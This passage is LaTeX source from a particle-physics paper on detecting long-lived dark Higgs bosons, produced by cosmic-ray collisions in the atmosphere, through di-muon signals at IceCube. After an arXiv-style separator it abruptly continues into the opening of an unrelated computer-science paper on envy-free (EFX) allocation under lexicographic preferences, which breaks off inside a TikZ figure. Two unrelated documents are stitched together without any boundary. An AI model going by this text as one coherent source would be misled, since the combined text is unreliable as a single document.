too small. The new O(GeV) LB, via the so-called Sommerfeld
enhancement, can fill the gap. Moreover, in order to be consistent
with only electron/positron excess, LB decays preferably into
charged leptons \cite{ArkaniHamed:2008qn}.
Generally speaking such new boson may be scalar, pseudoscalar or
gauge boson. The interactions between the LB and SM sector could
arise from the mixing between the LB and photon or Higgs. It is
quite interesting to investigate how to detect such kind of LB. Many
authors have studied how to produce such LB and detect them at
colliders, namely low-energy collider, large hadron collider or
fix-target experiment. For the collider search, one often requires
the life time of LB is short, as a consequence the charged leptons
as the LB decay products could be observed at the detector. Such
charged leptons could be clearly and easily identified. The
construction of realistic model of dark sector showed that dark
sector can be more complicated. The assumption that LB is
short-lived might be incorrect. If dark sector contains an array of
LBs besides a light gauge boson, some lighter ones may be long-lived
due to the suppressed interaction with SM sector. Several recent
works provided an interesting approach to search such long-lived
particle (LLP)
\cite{Batell:2009zp,Schuster:2009au,Schuster:2009fc,Meade:2009mu}.
The DM trapped inside the Sun/Earth would annihilate into LBs. If
the LB has a long lifetime, it can travel through the Sun/Earth and
decay into gamma rays or charged leptons which could be observed.
In this paper we point out another possible way to search such kind
of LLP via the high energy cosmic rays. The high energy cosmic rays
interact with atmospheric nucleons every second and can be treated
as a natural and costless high energy hadron collider. If a proton
with energy of $E\sim 10^4$ GeV in cosmic ray collides with an
atmosphere nucleon, the center-of-mass energy $\sqrt{s}$ is
approximately $\sqrt{2m_N E}\sim 10^2 $ GeV. Such mechanism can
copiously produce LLPs through $pN$ collisions. If the lifetime of
LLP is appropriate, it can penetrate the atmosphere and arrive at
the neutrino telescope. The subsequently decay of LLP into a pair of
muons can be observed by the telescope
\cite{Batell:2009yf,Bjorken:2009mm}.
If LLP decays near the detector, the difficult task is to
distinguish the signal muon pair from the huge muon backgrounds
which are produced by high-energy cosmic rays through hadron(for
example $\pi$) decays and/or QED process. Provided that the time
information of muon is precisely recorded, one can identify two
signal muons which are supposed to arrive at detector at the same
time, not heavily polluted by two irrelevant coincident parallel
muon events. In order to suppress the muon backgrounds, the analysis
focused on quasi-horizontal events might be important
\cite{Illana:2006xg,Ahlers:2007js}. A more optimistic case is that
LLP decays inside the detector with an 'obvious' decay vertex. The
challenge here is how to distinguish almost parallel di-muon from
the single muon. Another possible case is that for a single
collision between cosmic ray particle and atmosphere nucleon, more
than one LLP are produced. In this case the multi muon pairs appear
in detector at the same time will be a significant signal.
In this work, we assume the LB has a long lifetime to penetrate
through the atmosphere, some mechanisms which satisfy this
requirement will be discussed. We consider the LB production by the
cosmic rays and simulate di-muon events from LB decay. In order to
detect such high energy muons, we focus on the large volume neutrino
telescope IceCube \cite{Klein:2008px} which will reach an effective
detecting area in square kilometers. The detector are installed
under the ice surface in a depth of 1.4 km in order to suppress muon
backgrounds produced in atmosphere. Moreover, there is a extension
of IceCube namely DeepCore which is still under construction
\cite{Resconi:2008fe}. DeepCore will be installed in the more deeper
location which will suffer less above-mentioned muon backgrounds.
This paper is organized as following. In the section II, we
describe two classes of models which contain LLPs, discuss the main
LLP production processes and calculate the LLP production cross
section in $pN$ collision. We utilize PYTHIA to do the calculation
and simulate the LLP events. In Section II, we also investigate the
LLP production flux produced by primary cosmic ray. We find that for
a LLP production process with O$(10)$ pb, the production rate of LLP
can reach to O$(10^4)$ per square kilometer and per year. In Section
III, we investigate the possibility to detect di-muon signal from
LLP decay in the neutrino detector. The conclusions and discussions
are given in the last section.
\section{The production of LLP}
\subsection{The model}
In the models discussed in Ref.\cite{Batell:2009zp,Schuster:2009au},
the dark sector includes both weakly-interacting-massive-particle
(WIMP) and LB under a certain new gauge group. For the simplest case
with an extra U(1) group, the dark sector can interact with SM
sector though kinetic mixing, namely a new $U(1)$ gauge field
$A'_\mu$ could mix with $U(1)_Y$ field $A_\mu$ in the SM. In
addition there is another possible mixing between the SM Higgs field
$H$ and scalar $h'$ which will break extra U(1) group to induce mass
to $A'$. The Lagrangian can be written as,
\begin{eqnarray}
\mathcal{L} &=& - \frac{1}{4}F_{\mu \nu}^{\prime \; 2}
+ \frac{\kappa }{2}F_{\mu \nu}^{\prime} F^{\mu \nu}+|D_\mu h'|^2 - V(h') \nonumber\\
&+& \lambda _{h'H} (h'^\dag h')(H^\dag H)+
\mathcal{L}_{DM}+\mathcal{L}_{SM}.
\end{eqnarray}
Here $\kappa $ and $\lambda _{h'H}$ are the two mixing parameters
which will be determined (constrained) by experiments.
$\mathcal{L}_{DM}$ is the lagrangian of DM which includes the
O$(TeV)$ DM kinetic and mass terms and its gauge interaction.
After the spontaneous breaking of extra U(1) group, the $A'$ and
$h'$ will get the mass of $m_{A'}$ and $m_{h'}$. If scalar mixing
$\lambda _{h'H}$ is neglected, the lifetime of LB is determined by
$m_{LB}$ and gauge kinetic mixing parameter $\kappa$. For light
gauge boson mainly decay into charged leptons, the travel distance
can be approximately estimated as $l=\gamma c\tau \sim \gamma
c/(\alpha \kappa^2 m_{A'}) \sim 10^{-5}$ m
$(\gamma/10^3)(\kappa/10^{-3})^{-2}(m_{A'}/1GeV)^{-1}$. Typically
the light gauge boson is not a long-lived particle. However for the
dark Higgs boson and provided that $m_A'>m_h'$, dark higgs will
decay into SM fermions through the triangle diagrams. The decay
width is suppressed by a factor of $\kappa^{-4}$
\cite{Batell:2009yf}. Therefore the dark higgs can be a typical
long-lived particle (LLP) with the decay length as large as $10^{7}$
km \cite{Batell:2009zp}. In such kind of models, the main LLP
production mode is scalar-strahlung process $pp \rightarrow
A'^{*}+X\rightarrow A'h'+X$ ( $X$ denotes anything).
The dark sector could be more complicated. As discussed in Ref.
\cite{Baumgart:2009tn,Zhang:2009dd}, if the dark sector has a more
complex gauge group configuration, there might exit a series of LBs
including the LLP. In such case, the high energy $pN$ collisions may
copiously produce the extra gauge boson $A'$ and the production rate
depends on the mixing parameter $\kappa $ and $m_{A'}$. $A'$
subsequently decays quickly into LLP, namely the dark Higgs boson
$h'$. The process can be depicted as $pp \rightarrow A'+ X
\rightarrow h'a'+X$ ($a'$ represents another light gauge boson or
light pseudo scalar which we do not discuss further its feature
here. For simplicity we take the mass of $h'$ and $a'$ to be equal).
If LLP propagates some distance which depends on its lifetime and
decays into charged leptons as motivated by cosmic electron/positron
data, we can utilize neutrino telescope to observe such kind of
muons. Note that the LLP interacts with usual matter weakly, it can
penetrate into the Earth without loss of energy.
In this case, we do the calculation as model-independent as possible
and the input parameters are chosen as kinetic mixing $\kappa$ and
the mass of extra gauge boson $m_{A'}$ which determine $A'$
production rate, mass $m_{h'}$ and lifetime $\tau$ of $h'$.
Typically branching ratio of $A'$ into dark sector is much bigger
than that into SM sector. Thus in our numerical simulation we assume
that $A'$ decays only into $h'$. We also assume the branching ratio
of $h'$ into muon pair is 1. In fact, such branching ratios are
calculable in the model we mentioned above, the detailed
calculations can be found in the Ref.
\cite{Schuster:2009au,Batell:2009yf}. Here we just treat them as
free parameters, and our results could be adjusted to satisfy
specific model by multiplying a factor of $Br(A'\rightarrow
h')Br(h'\rightarrow \mu^+\mu^-)$.
\subsection{ Simulation of LLP production}
\begin{figure}[h]
\centering
\includegraphics[totalheight=2.5in]{cspro.eps}
\caption{Cross section of LLP production in $pp$ collision as a
function of cosmic primary proton energy. The dash lines and the
dashed-dot lines represent process $q\bar{q}\rightarrow A'$ and
$q\bar{q}\rightarrow h'A'$ respectively. For the lines with same
shape, the upper and lower one represent three benchmark point
$(m_{A'},m_{h'})=$ (1.2 GeV, 0.4 GeV), (2.1 GeV, 0.7 GeV), (3.0 GeV,
1.0 GeV) respectively. } \label{cspp}
\end{figure}
We utilize PYTHIA \cite{Sjostrand:2006za} to simulate the LLP
production events and calculate the cross section. The main free
parameters are the mass of $A'$ and $h'$, kinetic mixing parameter
$\kappa$, and dark sector gauge coupling $\alpha'$ for the
Higgs-stahlung process. Here we choose three benchmark points with
$(m_{A'},m_{h'})=$ (1.2 GeV, 0.4 GeV), (2.1 GeV, 0.7 GeV), (3.0 GeV,
1.0 GeV) and $\alpha'=\alpha$ for simplicity. The $\kappa$ is
severely constrained by experiments, and we choose $\kappa$ as
$10^{-3}$ which is still allowed \cite{Bjorken:2009mm}. In addition,
for the case $m_{h'}<m_{A'}$ we discussed here, the $\kappa$ could
not be very small to avoid destroying the success of BBN. The
lifetime of $h'$ must be shorter than 1 second, and the $\kappa$
should not be very smaller than $10^{-4}$ \cite{Batell:2009yf}.
For the scalar-strahlung process, the cross section at parton level
is given by (neglecting the mass of parton),
\begin{equation}
\hat{\sigma}(\hat{s})|_{q\bar{q}\rightarrow A'h'}=\frac{8\pi
Q_q^2\alpha\alpha'\kappa^2}{9}
\frac{k}{\sqrt{\hat{s}}}\frac{k^2+3m_{A'}^2}{(\hat{s}-m_{A'}^2)^2},
\end{equation}
where $\hat{s}=x_1 x_2 s$ is the center of mass energy of partons
with momentum fractions of $x_1$ and $x_2$,
$k=\sqrt{(\hat{s}-m_{A'}^2-m_{h'}^2)^2-4m_{A'}^2m_{h'}^2}/(2\sqrt{\hat{s}})$
is the momentom of $A'$ in the center of mass frame. The total cross
section is
\begin{equation}
\sigma_{pN}=\int dV \sum_{q}f^q_p(x_1)
f^{\bar{q}}_N(x_2)\hat{\sigma}(\hat{s})_{q\bar{q}},
\end{equation}
where $d V$ represents $dx_1 dx_2$, $q$ denotes sum over all the
quark and anti-quark and $f$ is the parton distribution function
(PDF). We use the CTEQ6M PDF \cite{Pumplin:2002vw} here and set the
factorization scale $Q^2=\hat{s}$. To do a Monte Carlo calculation
\cite{barger}, the variables $x_1$, $x_2$ are randomly chosen within
the ranges $(m_{A'}+m_{h'})^2/s \leq x_1 \leq 1$,
$(m_{A'}+m_{h'})^2/(x_1s) \leq x_2 \leq 1$. In order to improve the
convergence, we technically define new integration variables as $dV'
= d \ln x_1 d \ln x_2$. The integration is then transformed into
\begin{equation}
\sigma_{pN}=\frac{1}{N_{tot}} \sum_i \left[\sum_{q}x_1 f^q_p(x_1)
x_2f^{\bar{q}}_N(x_2)\hat{\sigma}(\hat{s})_{q\bar{q}} dV'\right],
\end{equation}
where $i$ denotes i-th configuration of cross section.
For the single $A'$ production which is a $2\rightarrow 1$ process,
the cross section contains one $\delta$ function which fixes
$\hat{s}=m_{A'}^2$. We transform integration variables $x_1$, $x_2$
to $\hat{s}$, $y$ through $dx_1dx_2=d\hat{s}dy/s$ and integrate out
the $\delta$ function. The total cross section can be written as
\begin{equation}
\sigma|_{pN\rightarrow A'X}=\int \sum_{q} \frac{4\pi^2
Q_q^2\alpha\kappa^2}{3m_{A'}^2} x_1f^q_p(x_1) x_2f^{\bar{q}}_N(x_2)
dy
\end{equation}
where $x_1=m_{A'}e^y/\sqrt{s}$ and $x_2=m_{A'}e^{-y}/\sqrt{s}$. From
$x_{1,2}\leq 1$, we choose $y$ in the range of $-\ln
(\sqrt{s}/m_{A'})\leq y \leq \ln(\sqrt{s}/m_{A'})$.
We show the LLP production cross sections for the $pp$ collision in
Fig. \ref{cspp}. From the figures we can see that the
scalar-strahlung process cross sections are much smaller than those
of $A'$ resonance process. It is simply because the scalar-strahlung
process is the $2 \rightarrow 2$ process which has more power of
coupling and smaller phase space. Numerically in the energy region
of O$(100)$ GeV, the single $A'$ production is several orders of
magnitude larger than that the scalar-strahlung process. From the
Fig. \ref{cspp} we can also conclude that cross section is very
sensitive to the mass of $A'$. This is quite understandable provided
the quick rise of $q\bar q$ luminosity for the lower mass $A'$. Note
that flux of cosmic ray decreases quickly with the increment of its
energy, thus the behavior for low energy cosmic ray plays the major
role to produce LLP.
In our simulations, we randomly generate muon pairs in the $h'$ rest
frame, then boost them to the $A'$ rest frame and lab frame.
\subsection{Flux of long-lived particle produced by high energy cosmic rays}
\begin{figure}[h]
\centering
\includegraphics[totalheight=2.2in]{num.eps}
\caption{The LLP differential production rate as a function of the
energy of primary cosmic ray. The notations are same as Fig.
\ref{cspp}.} \label{num}
\end{figure}
In this subsection, we evaluate the LLP production rate by high
energy cosmic ray. From several GeV to energy range above $10^6 $
GeV, the flux of primary nucleons in the cosmic rays is
approximately written as \cite{Amsler:2008zzb}
\begin{equation}
\Phi_{N}(E)\approx 1.8(E/GeV)^{-\alpha} \frac{nucleons}{cm^2 \; s \;
sr \; GeV},
\end{equation}
where the differential spectral index $\alpha$ is $2.7$ under $10^6
$ GeV, $3.0$ from $10^6 $ GeV to $10^{10}$ GeV, and finally $2.7$
above $10^{10}$ GeV. The main component of primary cosmic nucleons
is proton. To produce energetic LLP, the energy of cosmic rays is
required to be as high as or above $10^2 $ GeV. For secondary
hadrons induced by such energetic cosmic ray, the interaction length
may be smaller than the decay length in the atmosphere. Thus the
collisions between the atmosphere nucleons and secondary mesons
induced by primary cosmic hadrons are important \footnote{For a
simple and conservative estimation, this work does not include the
effects of secondary hadrons. The influence of secondary hadrons to
final LB flux can be included by multiplying an extra O(1) factor.
This factor is determined by the flux of secondary hadrons
\cite{Illana:2006xg}.}. The flux of new LLP particles can be
estimated by \cite{Illana:2006xg}
\begin{equation}
\Phi_{h'}=\sum_h \int^{E_{max}}_{E_{min}}dE \; \Phi_{h}(E)\; {\cal
P}^h_{h'}(E),
\end{equation}
where $h$ denotes the primary cosmic hadrons and secondary nucleons,
pion and kion, $\phi_h$ is the flux of hadron, and ${\cal
P}^h_{h'}(E)$ is the probability of producing LLP $h'$ in one
collision. ${\cal P}^h_{h'}(E)$ is approximated as ${\cal
P}^h_{h'}(E)\approx A \sigma^{hN}_{h'}/\sigma_T$
\cite{Illana:2006xg}, where $A\sim 14.6$ is the average nucleon
number of a nuclei in air, $\sigma^{hN}_{h'}$ is the cross section
to produce $h'$, and $\sigma_T$ is the total cross section of cosmic
hadrons in atmosphere about O$(10^2)$ mb which is approximately
parameterized as $\sigma_T \approx C^h_0+ C^h_1 \ln(E/GeV)+ C^h_2
\ln^2(E/GeV)$ \footnote{In fact, the total cross sections of high
energy cosmic hadrons are not precisely determined. There are
several models which are consistent with the exiting observations
roughly, but more data are needed to give a more concrete result.
The detailed discussions about different models and parameter
selections can be found in Ref. \cite{Heck:1998vt}. Here we use the
result of VENUS model \cite{Werner:1993uh} given in Ref.
\cite{Heck:1998vt} as an acceptable approximation from $10^2$ GeV to
$10^7$ GeV. For present experiment results and comparisons between
different theoretical predictions, one can see the Ref.
\cite{Aielli:2009ca} and references therein.}. Requiring final muons
from LLP decay with large energy and flux, we choose the cosmic ray
energy region from $10^2$ GeV to $10^7$ GeV.
We can firstly estimate the LLP production rate in order of
magnitude as
\begin{equation}
\phi_{h'}\sim10^3(\frac{\sigma^{hN}_{h'}}{1pb})
(\frac{\sigma_T}{300mb})^{-1}(\frac{E_{min}}{100GeV})^{-1.7}km^{-2}yr^{-1}sr^{-1}.
\end{equation}
The formula indicates that for the single $A'$ production cross
section of $10$ pb, the cosmic ray will produce at least $10^4$ LLPs
per year and per square kilometer. In Fig. \ref{num} we show the
results of LLP differential rate as a function of primary cosmic ray
energy. From the figure we can see that the event rate can reach
O$(10^2)$ to O$(10^4)$ $km^{-2}yr^{-1}sr^{-1}$. However for the
scalar-strahlung process, the event rate is very low from
O$(10^{-1})$ to O$(10)$ due to the small cross section and we do not
discuss this process below.
\section{Detecting long-lived particle at high energy neutrino detector}
In this section we will discuss the possibility of detecting such
LLP at neutrino detector. If the LLP penetrates through atmosphere
and decays into muons near or inside detector, this signal can be
observable at neutrino telescope. In the last section, we have
evaluated the $h'$ production rate. For simplicity, we assume that
all $h's$ are produced at the upper atmosphere. Moreover, the $h'$
flux can be treated as isotropic due to the isotropy of cosmic ray.
The long-lived $h'$ interacts with SM particle weakly, thus it is
safe to neglect the energy loss before it decays into muon pair.
The lifetime of $h'$ is model-dependent, and it is treated as a free
parameter here. The probability of a particle decays between two
point is given by \cite{Meade:2009mu}:
\begin{equation}
P_{decay}=e^{-D/l}-e^{-(D+d)/l}=e^{-D/l}(1-e^{-d/l}), \label{pdecay}
\end{equation}
where $D$ is the distance between the production point and entry
point, $d$ is the distance between two point, $l=\gamma v \tau$ is
the decay length of particle. Here $D$ is approximately $10\sim20 $
km, and it is the depth of atmosphere
plus distance from detector to horizon; $d$ is the neutrino telescope's size
(if the detector
has the capacity to recognize LLP decay events nearby, $d$ can be
larger). If $D$ is far larger than $d$ and $l$, the decay
probability is roughly $e^{-D/l}$; if the decay length $l$ is far
larger than $D$ and $d$, the decay probability is $d/l$. Therefore,
it is difficult to observe the LLP decay if the decay length of LLP
is too large or too small. The most promising case is that the decay
length $l$ is comparable with $D$.
As mentioned in the introduction if LLP decays outside the neutrino
detector, the atmosphere muon background is huge. These muons are
generated mainly from secondary charged pion and kaon decay. Most
muons are in lower energy regime due to the relatively large cosmic
ray flux in this energy region and energy lost in matter. The
formula of atmosphere muon flux is similar to that of cosmic ray
which is approximately given by \cite{Amsler:2008zzb}
\begin{equation}
\phi_{\mu}(E_{\mu})\approx \frac{0.14 E_{\mu}^{-2.7}}{cm^2 \;s
\;sr\; GeV}( \frac{1}{1+\frac{1.1
E_{\mu}\cos\theta}{115GeV}}+\frac{0.054}{1+\frac{1.1
E_{\mu}\cos\theta}{850GeV}}), \label{muon}
\end{equation}
where $\theta$ is zenith angle (here $\theta \leq 70^\circ $), and
this formula is valid when the probability of the muon decay can be
neglected (i.e. $E_\mu>100/\cos \theta$ GeV). From the
Eq.(\ref{muon}), we can see that in the energy region O$(10^2)$ GeV
the atmospheric muon flux is only one order of magnitude smaller
than primary cosmic ray, while the LLP flux is about ten orders
smaller. Requiring that two muons arrive at detector in a tiny time
window could effectively reduce background which contains two
uncorrelated muons. Note that lots of SM processes can produce muon
pair events directly \cite{Illana:2009qv}. For example, one single
shower contains many hadrons, and muons from two hadrons decay may
be treated as a pair of muons. In addition the electro-weak
Drell-Yan process can also produce muon pair directly. In a word, if
the LLP does not decay inside the detector, it is very challenging
to distinguish signal from the atmospheric di-muon backgrounds.
However there is still hope to detect muon pair from LLP decay near
the detector. The energy of LLP is typically less than $1$ TeV. In
such energy region, most of the atmospheric muons are absorbed in
the solid/liquid matter. For example, for $10$, $10^2$ and $10^3 $
GeV muons, the muon range is $0.05$, $0.41$ and $2.45$ km.w.e
respectively \cite{Groom:2001kq}. The neutrino detector is often
installed in deep underground with shield of several km.w.e.
rock/water/ice. Such shield can prohibit the low-energy atmospheric
muons to arrive at the detector, especially for direction with large
zenith angle and even quasi-horizontal direction. Detecting LLP
decay in these directions is more promising. Thus if the LLP decays
not far from detector, the resulting di-muon may be identified.
To detect the clean LLP signal, we expect that LLP happens to decay
inside the detector and we can observe a pair of "suddenly" appeared
muons. In order to recognize di-muon event, we require that the
energy of muons must be above the detector's threshold energy.
Moreover, because the high energy atmospheric neutrino may produce
single high energy muon when traveling through the detector, we also
require that the two tracks of di-muon should be identified
separately \footnote{The authors of Ref. \cite{Meade:2009mu} have
pointed out that it is possible to distinguish di-muon signal from
single muon even the separation of di-muon is not large enough. They
provided two handles to identify di-muon signal with energy above
critical energy utilizing the different characteristics of Cherenkov
radiation.}. In our simulations, we require that the angle between
two muon tracks is greater than O$(10^{-4})$.
It needs to mention another background arising from atmospheric
neutrino, which can induce di-muon events inside the detector
through inelastic $\nu N$ collision. $\nu N$ collision can produce
muon plus charm hadron and the charm hadron will subsequently induce
another muon via semi-leptonic decay \cite{Albuquerque:2006am}. Such
two muons will be identified as a di-muon event. Such di-muon event
rate may be larger than the LLP decay due to large atmospheric
neutrino flux (for example, the atmospheric muon neutrino flux
around $100$ GeV is about O$(10^{-4})m^{-2}s^{-1}sr^{-1}GeV^{-1}$).
However, associated hadronic shower in $\nu N$ collision could be
utilized to suppress such backgrounds.
\begin{figure}[h]
\centering
\includegraphics[totalheight=2.4in]{emudi.eps}
\caption{Di-muon event rate as a function of di-muon energy. The
dash lines and the solid lines correspond to different energy
threshold of $3.2$ GeV for Super-Kamiokande and $100$ GeV for
IceCube respectively. For the lines with same shape, the upper and
lower one represent three benchmark point $(m_{A'},m_{h'})= $(1.2
GeV, 0.4 GeV), (2.1 GeV, 0.7 GeV), (3.0 GeV, 1.0 GeV) respectively.
\label{thmu}}
\end{figure}
\begin{figure}[h]
\centering
\includegraphics[totalheight=2.2in]{thmudi.eps}
\caption{Di-muon event rate as a function of separation angle
between two muons. The notations are same as Fig. \ref{thmu}.
\label{emu} }
\end{figure}
Now we scrutinize the possibility of detecting LLP at the large
volume Cherenkov detector IceCube. IceCube is a $1 km^3$ detector
which consists of 4800 digital optical modules and is installed
between depth of $1450$ m and $2450$ m in the south pole
\cite{Klein:2008px}. In Fig. \ref{thmu} and Fig. \ref{emu}, we show
the di-muons rate as the functions of the di-muon energy and the
separation angle. Here we assume all the LLPs decay in the detector.
We take the each muon energy threshold of IceCube to be $50$ GeV and
the separated angle of di-muon greater than $10^{-4}$. For
comparison, we also show the rate of di-muon events with energy
above $3.2$ GeV which corresponds to the threshold at the
Super-Kamiokande detector \cite{Ashie:2005ik}. From Fig. \ref{thmu}
we find that di-muon event rate with energy larger than $100$ GeV
could be O$(10^3)$ per square kilometer, per year. From Fig.
\ref{emu} we find that the separated angle of most di-muons is about
O$(10^{-2})$. For the Super-Kamiokande detector with $R=16.9$ m,
$H=36.2$ m and energy threshold $1.6$ GeV, it is suitable for
detecting the low energy di-muon events with large flux. However it
is difficult to distinguish the di-muon events from single muons due
to the limited volume.
\begin{figure}[h]
\centering
\includegraphics[totalheight=2.3in]{finnum.eps}
\caption{Di-muon rate as a function of the lifetime of LLP, where
$(m_{A'},m_{h'})=$ (1.2 GeV, 0.4 GeV), (2.1 GeV, 0.7 GeV), (3.0 GeV,
1.0 GeV) from top to bottom. The size of detector are taken as $1$
km and the zenith angle is less than $\theta\leq70^\circ$. We choose
each muon energy threshold of detector to be $50$ GeV and the
separated angle of di-muon to be greater than $10^{-4}$.}
\label{finnum}
\end{figure}
In Fig.\ref{thmu} and Fig. \ref{emu}, we did not include effects of
LLP decay. The Fig. \ref{finnum} shows the di-muon rate as a
function of the lifetime of LLP. We assume that the LLP is randomly
produced between the altitude of $15$ km and $20$ km and the LLP
decay length is taken as $l = c\tau E/m_{h'}$. The size of IceCube
is chosen as $1$ km. The effective area of detector is not taken
into account since it needs the detailed simulation including
realistic experimental trigger and condition.
The detector is insensitive to the direction for low zenith angle.
The reason is that for a given lifetime $\tau$, the LLP has similar
$l$ and $P_{decay}$ in these directions. Therefore we show the rate
in the directions with zenith angle below $70^\circ$. We choose each
muon energy threshold of detector to be 50 GeV and the separated
angle of di-muon to be greater than $10^{-4}$ here, and find that
the di-muon rate can reach several tens for the most optimistic
cases. For example, the event rate can be 42, 9, 3 per year for
three benchmark points $(m_{A'}, m_{h'})=$ (1.2 GeV, 0.4 GeV), (2.1
GeV, 0.7 GeV), (3.0 GeV, 1.0 GeV) if the lifetime of LLP is $\sim
5\times10^{-7}s$. As mentioned above, the decay probability is
highest at $l\sim D$, thus the LLP with lifetime around $\tau \sim
10^{-6} (l/20km)(m_{h'}/1GeV)(E/10^2GeV)^{-1}$ s will induce more
di-muon events in detector.
\section{Discussions and conclusions }
In this paper, we investigated the possibility of searching
long-lived particle (LLP) produced by high energy cosmic ray
colliding with atmosphere. The LLP may penetrate the atmosphere and
decay into a pair of muons near/in the neutrino telescope. Such
muons can be treated as the detectable signal. This study is
motivated by recent cosmic electron/positron observations by
PAMELA/ATIC/Fermi. The new data suggests new source of
electron/positron which may come from O(TeV) dark matter. In order
to understand the dark matter thermal history, new light O(GeV)
particles have been proposed. It is quite natural to conjecture that
dark sector is complicated. There are more than one light particles
in dark sector, for example the dark gauge boson $A'$ and associated
dark Higgs boson $h'$. In this paper, we studied the scenario with
$A'$ heavier than $h'$ and $h'$ is treated as LLP.
We have studied the LLP production processes and found that the
promising process is single $A'$ production $q\bar{q}\rightarrow
A'$, and $A'$ subsequently decays into $h'$ rather than into SM
particles. Our numerical calculations show that for $A'$ with mass
of $1 GeV$, the production rate can reach $10^{4} km^{-2} s^{-1}
sr^{-1}$ and the final di-muon rate from $h'$ is serval tens for
some favorable parameter region. We have assumed the $\kappa \sim
10^{-3}$, $\alpha'=\alpha$ and the branching ratio of $A'\rightarrow
h' \rightarrow \mu^{+}\mu^{-}$ is $1$. For different parameter
selections, our results need to be multiplied by a factor of
$(\kappa/10^{-3})^2 Br_{A'\rightarrow h'}Br_{h'\rightarrow
\mu^{+}\mu^{-}}$. Here it is worth remarking that a complete
analysis for LLP production needs QCD correction to production
process and simulations of cosmic ray shower included secondary
hadrons and nucleons. The LLP could also be produced from secondary
meson decay directly if allowed by kinematics \cite{Batell:2009di}.
These elements will increase LLP production rate efficiently.
We simulated the signal di-muon events and calculated the rate as
functions of di-muon energy and the separation angle between two
muons. Our numerical results showed that the large volume neutrino
detector IceCube is suitable to detect LLP with lifetime about
$10^{-8}\sim 10^{-4}$ s. It is worth to mention that such parameter
region could be compatible with the constraints from fixed-target
experiments. For example, the Ref. \cite{Schuster:2009au} has
reported the constraints on LLP decay length $c \tau$ between $1$ cm
and $10^8$ cm by CHARM experiment result \cite{Bergsma:1985qz}.
The scenario proposed in this paper could be cross-checked (tested)
at the low energy $e^{+}e^{-}$ collider and/or large hadron
collider. At the collider, the LLP will escape from the detector and
act as the missing energy. For example, the well promising process
is the $\gamma A'$ associated production \cite{Yin:2009mc}. The
$\gamma+ {E\!\!\!\! /\,\,}_T$ signal can be isolated from SM
irreducible background $\gamma Z \rightarrow \gamma \nu \bar{\nu}$.
If the LLP associated production with other light bosons which decay
into charged leptons, the multi-
$e^{+}e^{-}/\mu^{+}\mu^{-}+{E\!\!\!\! /\,\,}_T$ is a cleaner signal.
Moreover, the interaction between SM and dark sector may be induced
via the mixing of Higgs fields. It implies that SM Higgs may decay
into LLP. Such possible invisible decay modes can even change our
search strategies of SM Higgs boson.
\section{ Acknowledgements}
We thank Jia Liu for helpful discussions. This work was supported in
part by the Natural Sciences Foundation of China (Nos. 10775001,
10635030).
|
1,477,468,750,075 | arxiv | \section{Introduction}
Fair and efficient allocation of scarce resources is a fundamental problem in economics and computer science. The quintessential fairness notion---\emph{envy-freeness}---enjoys strong existential and computational guarantees for \emph{divisible} resources~\citep{varian1974equity}. However, in notable applications such as course allocation~\citep{budish2011combinatorial} and property division~\citep{PW12divorcing} that involve \emph{indivisible} resources, (exact) envy-freeness could be too restrictive. In these settings, it is natural to consider notions of approximate fairness such as \emph{envy-freeness up to any good} (\textrm{\textup{EFX}}{}) wherein pairwise envy can be eliminated by the removal of any good in the envied bundle~\citep{caragiannis2019unreasonable}.
\textrm{\textup{EFX}}{} is arguably the closest analog of envy-freeness in the indivisible setting, and, as a result, has been actively studied especially for the domain of additive valuations. However, it also suffers from a number of limitations: First, barring a few special cases, the existence and computation of \textrm{\textup{EFX}}{} allocations remains an open problem. Second, for additive valuations, \textrm{\textup{EFX}}{} can be incompatible with \emph{Pareto optimality} (\textup{PO}{})---a fundamental notion of economic efficiency~\citep{PR20almost}. Finally, \textrm{\textup{EFX}}{} could also be at odds with \emph{strategyproofness}~\citep{amanatidis2017truthful}, which is another desirable property in the economic analysis of allocation problems.
The aforementioned limitations of \textrm{\textup{EFX}}{} prompt us to explore the \emph{domain restriction} approach in search of positive results~\citep{ELP16preference}. Specifically, we deviate from the framework of cardinal preferences for which \textrm{\textup{EFX}}{} allocations have been most extensively studied, and instead focus on the purely ordinal domain of \emph{lexicographic preferences}.
Lexicographic preferences have been widely studied in psychology~\citep{GG96reasoning}, machine learning~\citep{SM06complexity}, and social choice~\citep{T70problem} as a model of human decision-making. Several real-world settings such as evaluating job candidates and the desirability of a product involve lexicographic preferences over the set of features. In the context of fair division, too, lexicographic preferences can arise naturally. For example, when dividing an inheritance consisting of a house, a car, and some home appliances, a stakeholder might prefer any division in which she gets the house over one where she doesn't (possibly because of its sentimental value), subject to which she might prefer any outcome that includes the car over one that doesn't, and so on.
On the computational side, lexicographic preferences provide a succinct language for representing preferences over combinatorial domains~\citep{saban2014note,LMX18voting}, and have led to numerous positive results at the intersection of artificial intelligence and economics~\citep{FLS18complexity,hosseini2019multiple}. Motivated by these considerations, our work examines the existence and computation of \emph{fair} (i.e., \textrm{\textup{EFX}}{}) and \emph{efficient} allocations from the lens of lexicographic preferences.
\begin{figure}[h]
\centering
%
\tikzset{every picture/.style={line width=0.5pt}}
\begin{tikzpicture}
\footnotesize
\def4.2{4.2}
\def2.5{2.5}
\draw (0,0) rectangle (4.2,2.5);
\node (1) at (0.8,2.5-0.2) {\normalsize{\textrm{\textup{EFX}}{}+\textup{PO}{}}};
\draw (4.2/2-0.1,2.5/2-0.25) rectangle (4.2-0.1,2.5-0.1);
\node[align=center] (2) at (3*4.2/4-0.1,2.5-0.5) {{\textrm{\textup{EFX}}{}+}\\{Rank-maximal}};
\draw (0.1,0.1) rectangle (3*4.2/4+0.3,2.5-1.1);
\node[align=center] (3) at (3*4.2/8+0.2,2.5-2) {{\textrm{\textup{EFX}}{}+\textup{PO}{}+Strategyproof+}\\{non-bossy + neutral}};
\draw (-1.5,2.5-0.5) node[align=center] (8) {{Characterization}\\{(\Cref{thm:EFX_PO})}};
\draw (4.2+1.5,2.5-0.6) node[align=center] (9) {{Non-existence}\\{and}\\{\textrm{\textup{NP-hard}}{}ness}\\{(\Cref{thm:EFX_RM_NP-complete})}};
\draw (4.2+1.5,0.4) node[align=center] (10) {{Non-existence}\\{(\Cref{eg:SP+RM_NonExistence})}};
\draw (-1.5,0.5) node[align=center] (11) {{Characterization}\\{(\Cref{thm:EFX_PO_SP_Neutral_NonBossy})}};
\node[circle,fill=black,minimum size=4pt,inner sep=0pt] (4) at (1,2.5-0.7) {};
\node[circle,fill=black,minimum size=4pt,inner sep=0pt] (5) at (1,1.1) {};
\node[circle,fill=black,minimum size=4pt,inner sep=0pt] (6) at (4.2/2+0.5,2.5-1.3) {};
